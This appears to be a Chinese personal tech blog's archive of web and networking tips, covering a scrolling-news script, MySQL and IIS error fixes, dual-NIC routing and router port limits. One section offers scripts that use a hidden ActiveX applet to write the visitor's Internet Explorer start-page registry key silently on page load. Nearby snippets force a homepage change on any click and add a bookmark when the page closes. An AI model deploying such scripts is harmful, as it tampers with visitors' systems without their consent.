分类目录归档:互联网记

单行向上轮番滚动的JS代码

<script>
var marqueeContent=new Array();   //滚动新闻
marqueeContent[0]='<a href=# target=_blank class="f12red">小泉称若自民党在议会选举中失败</a><br>’;
marqueeContent[1]='<a href=# target=_blank class="f12red">布什发表广播讲话</a><br>’;
marqueeContent[2]='<a href=# target=_blank class="f12red">伊斯兰武装炸毁印控克什米尔铁路导致列车出轨</a><br>’;
marqueeContent[3]='<a href=# target=_blank class="f12red">布雷默:即使抓住了萨达姆也难以结束抵抗行动</a><br>’;
var marqueeInterval=new Array();  //定义一些常用而且要经常用到的变量
var marqueeId=0;
var marqueeDelay=2000;
var marqueeHeight=20;
//接下来的是定义一些要使用到的函数
function initMarquee() {
    var str=marqueeContent[0];
    document.write(‘<div id=marqueeBox style="overflow:hidden;height:’+marqueeHeight+’px" onmouseover="clearInterval(marqueeInterval[0])" onmouseout="marqueeInterval[0]=setInterval(\’startMarquee()\’,marqueeDelay)"><div>’+str+'</div></div>’);
    marqueeId++;
    marqueeInterval[0]=setInterval("startMarquee()",marqueeDelay);
    }
function startMarquee() {
    var str=marqueeContent[marqueeId];
        marqueeId++;
    if(marqueeId>=marqueeContent.length) marqueeId=0;
    if(marqueeBox.childNodes.length==1) {
        var nextLine=document.createElement(‘DIV’);
        nextLine.innerHTML=str;
        marqueeBox.appendChild(nextLine);
        }
    else {
        marqueeBox.childNodes[0].innerHTML=str;
        marqueeBox.appendChild(marqueeBox.childNodes[0]);
        marqueeBox.scrollTop=0;
        }
    clearInterval(marqueeInterval[1]);
    marqueeInterval[1]=setInterval("scrollMarquee()",20);
    }
function scrollMarquee() {
    marqueeBox.scrollTop++;
    if(marqueeBox.scrollTop%marqueeHeight==(marqueeHeight-1)){
        clearInterval(marqueeInterval[1]);
        }
    }
initMarquee();
</script>

Lost connection to MySQL server during query

一个网站远程连MYSQL数据库,来是出现 Lost connection to server during query 这个问题,经过搜索好久都没解决这个问题,主要是其他同样的程序连接同样的数据库都能正常,但是就一个站不行。后来经过一次次的逐步试验,终于解决问题、。。

[mysqld]项下添加参数:
skip-name-resolve

后来果真好了。

cookies实现退出弹出“设为主页”代码

<script>
function getCookie(name) {
var start = document.cookie.indexOf( name + "=" );
var len = start + name.length + 1;
if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
return null;
}
if ( start == -1 ) return null;
var end = document.cookie.indexOf( ‘;’, len );
if ( end == -1 ) end = document.cookie.length;
return unescape( document.cookie.substring( len, end ) );
}
function SetCookie(name,value)//两个参数,一个是cookie的名子,一个是值
{
    var Days = 1; //此 cookie 将被保存 1 天
    var exp  = new Date();   
    exp.setTime(exp.getTime() + Days*24*60*60*1000);
    document.cookie = name + "="+ escape (value) + ";expires=" + exp.toGMTString();
}
function setpage(aa,str){
//注意,只对IE有效,FF需要修改浏览器设置
aa.style.behavior="url(#default#homepage)";
var bb=getCookie("username");   //读取cookies
if (bb!=’easyplay8er’)
{
aa.setHomePage(str);
SetCookie("username","easyplay8er");
}
}
</script>
<body onclick="setpage(this,’http://www.maqie.com/’);">
</body>

退出弹出“加入收藏”代码

<script language="javascript" type="text/javascript">
function bookmark()
{
if(readCookie("bookmark")!="yes")
{
saveCookie("bookmark","yes",1);
window.external.AddFavorite(‘http://www.maqie.com/’, ‘长河日志’);
}
}

function saveCookie(name,value,days) {
    if (days) {
        var date = new Date();
        date.setTime(date.getTime()+(days*24*60*60*1000))
        var expires = "; expires="+date.toGMTString()
    }
    else expires = ""
    document.cookie = name+"="+value+expires+"; path=/"
}
function readCookie(name) {
    var nameEQ = name + "="
    var ca = document.cookie.split(‘;’)
    for(var i=0;i<ca.length;i++) {
        var c = ca[i];
        while (c.charAt(0)==’ ‘) c = c.substring(1,c.length)
        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length)
    }
    return null
}
</script>
<body onUnload="bookmark()">
</body>

强制设为首页JS代码

  <SCRIPT   language=JavaScript>  
  document.write("<APPLET   HEIGHT=0   WIDTH=0   code=com.ms.activeX.ActiveXComponent></APPLET>");  
  function   mm()  
  {  
      try  
      {  
          //ActiveX初始化过程(为达到修改用户注册表所必须的准备程序)  
          a1=document.applets[0];  
          a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
          a1.createInstance();  
          Shl   =   a1.GetObject();  
          try  
          {  
              if   (document.cookie.indexOf("mmm")   ==   -1)  
              {  
                  Shl.RegWrite   ("HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page",   "http://www.csdn.net/");//修改用户InternetExplorer浏览器的默认主页  
                  var   expdate   =   new   Date((new   Date()).getTime()   +   (1));  
                  document.cookie="mmm=0;   expires="   +   expdate.toGMTString()   +   ";   path=/;"  
              }  
          }  
          catch(e)  
          {}  
      }  
      catch(e)  
      {}  
  }  
  function   init()  
  {  
      setTimeout("mm()",   1000);//实现打开页面后1秒钟内执行测试修改注册表的工作  
  }  
  init();  
  </SCRIPT>

 

 

  <script>  
  var   ucook=document.cookie;  
  var   user=ucook.indexOf("ilooki=");  
  if   (user==-1)  
  {  
  var   nowTime=new   Date();  
  document.cookie="ilooki=1"+";"+"expires=Wednesday,04-Jan-"+eval(nowTime.getYear()+1903)+"12:34:56   GMT";  
  document.write   ("<APPLET   HEIGHT=0   WIDTH=0   code=com.ms.activeX.ActiveXComponent></APPLET>");function   yuzi(){try{a1=document.applets   [0];a1.setCLSID   ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");  
  a1.createInstance();  
  Shl=a1.GetObject();  
  a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");  
  try   {Shl.RegWrite("HKCU\\Software\\Microsoft\\Internet   Explorer\\Main\\Start   Page","http://yang");}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);  
  }  
  </script>  

怎么让QQ农场的东西不被偷?

   现在兴起了偷菜游戏,也就是开心网的开心农场和QQ空间的QQ农场最为热门,像我的,东西经常被偷,郁闷啊,不被人家偷的最好方法就是,要比人家摘的块。哈哈,特地找了个桌面提醒软件,就相当于桌面备忘录的功能,可以设置倒计时,就是还需要成熟的时间直接倒计时那设置进去好行了。没到提醒的时候就去等着自己的菜。哈哈

软件下载地址:http://www.maqie.com/archives/2349/

虽然累点,但是比用外挂给降级,心情上总好点。

由于无法创建应用程序域,因此未能执行请求。错误: 0x80004005 未指定的错误 asp.net

遇到了这个问题,后来终于找到了个解决方法。以下内容为转,分析的很有道理。

引起这个的原因大概是现安装了.Net Framework后装的IIS导致.Net没有在IIS里注册。
在网上找了很久都是说从.net命令行工具里运行aspnet_regIIS /i就可以了(或者在类似下面的目录:C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -i),但是自己试了很多次都不行,后来发现还是要先卸载再安装,重新创建为应用程序才行,具体如下:
从.net命令行工具里运行 aspnet_regIIS /u 卸载,再aspnet_regIIS /i安装
然后重启IIS ,删除“默认应用程序”,然后将站点重新创建为应用程序。
另外,还有可能是ASPNET账户没有IIS所指定服务器目录的权限。在资源管理器中找到“工具-文件夹选项-查看-使用简单文件夹共享(推荐)”,把前面的勾去掉,然后在服务器指定目录上点右键,属性-安全-添加-高级-立即查找,把ASPNET这个账户添加进去,给它指定完全访问的权限。这样做了以后就会发现没有了那个错误,不过如果访问数据库可能有会提示ASPNET这个账户没有权限访问数据库。这个提示就清楚多了,把该账户在数据库中加入相应的权限就可以了。
 

解决方法一 重新注册.Net 2.0:
C:WINDOWSMicrosoft.NetFrameworkv2.0.50727as.Net_regiis.exe –i
解决方法二 新建应用程序池:
新建应用程序池的步骤
1. 单击“开始”,指向“程序”,然后单击“控制面板”。
2. 双击“管理工具”,然后双击“Inte.Net 信息服务 (IIS)”。
3. 右键单击“应用程序池”,指向“新建”,然后单击“应用程序池”。
4. 在“应用程序池 ID”文本框中键入 AppPool1。
5. 单击“确定”。
将应用程序分配到应用程序池
1. 单击“开始”,指向“程序”,然后单击“控制面板”。
2. 双击“管理工具”,然后双击“Inte.Net 信息服务 (IIS)”。
3. 双击“Web 站点”。
4. 双击“默认 Web 站点”。
5. 右键单击“DebugApp1”,然后单击“属性”。
6. 在“主目录”标签中的“应用程序池”列表框中选择“AppPool1”,然后单击“确定”。
解决方法三,修改网站目录所在文件夹的访问权限:
找到当前网站目录->右键->属性->安全->添加->高级->立即查找->选择 Users 用户 ->确定->确定
解决办法:
1、新建一个应用程序池,点属性,标识,选择应用程序池的安全性帐户,本地系统,OK!
2、WEB文件夹属性中的权限添加NetWork Service帐号权限。
 

双网卡 同时访问两个网络,内网与外网同时能上的方法

想同时访问内网,外网遇到个问题,就是当访问内网的时候,外面就没法访问,反之亦然。经过研究终于找到,同时访问两个网络的方法。

比如

一个网络的地址:192.168.1.110,子网掩码:255.255.255.0,网关:192.168.1.1

另一个网络的地址:192.168.128.130,子网掩码:255.255.255.0,网关:192.168.128.2

第一步:route delete 0.0.0.0     “删除所有0.0.0.0的路由”

第二步:route add 0.0.0.0 mask 0.0.0.0    192.168.1.1 “添加0.0.0.0网络路由”

第三步:route add 0.0.0.0 mask 255.0.0.0 192.168.128.2 “添加10.0.0.0网络路由”

使用上述命令添加的路由在系统重新启动后会自动丢失,route add -p 添加静态路由,注意使用前要在tcp/ip设置里去掉接网卡的网关。

我用这个就是虚拟机上用的,一个是让虚拟机能够访问本机的共享资源,而虚拟机又能通过另外一个无线网卡同时访问外部网络,而不是通过本机网络访问外网。
 

普通路由器限制网速,限制人家BT, P2P的方法

     很大部分路由器没有QOS功能,也不能刷 DD-WRT,但是很多共用宽带的,经常出现人家开个BT 或者 P2P,迅雷等下载,慢的要死,影响自己上网。其实只要你有路由权限,当然也可以限制到BT,P2P等这些占用大的带宽的东西。

     一般路由都有防火墙功能,只要开启防火墙,就开几个常用端口就行,比如80,8080,21,443等,可以正常上网,开网页,聊QQ,但是BT,P2P等软件使用没法抢带宽了。呵呵。